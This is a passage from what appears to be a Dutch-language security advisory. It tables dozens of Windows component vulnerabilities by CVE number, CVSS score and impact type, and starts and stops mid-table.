|\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 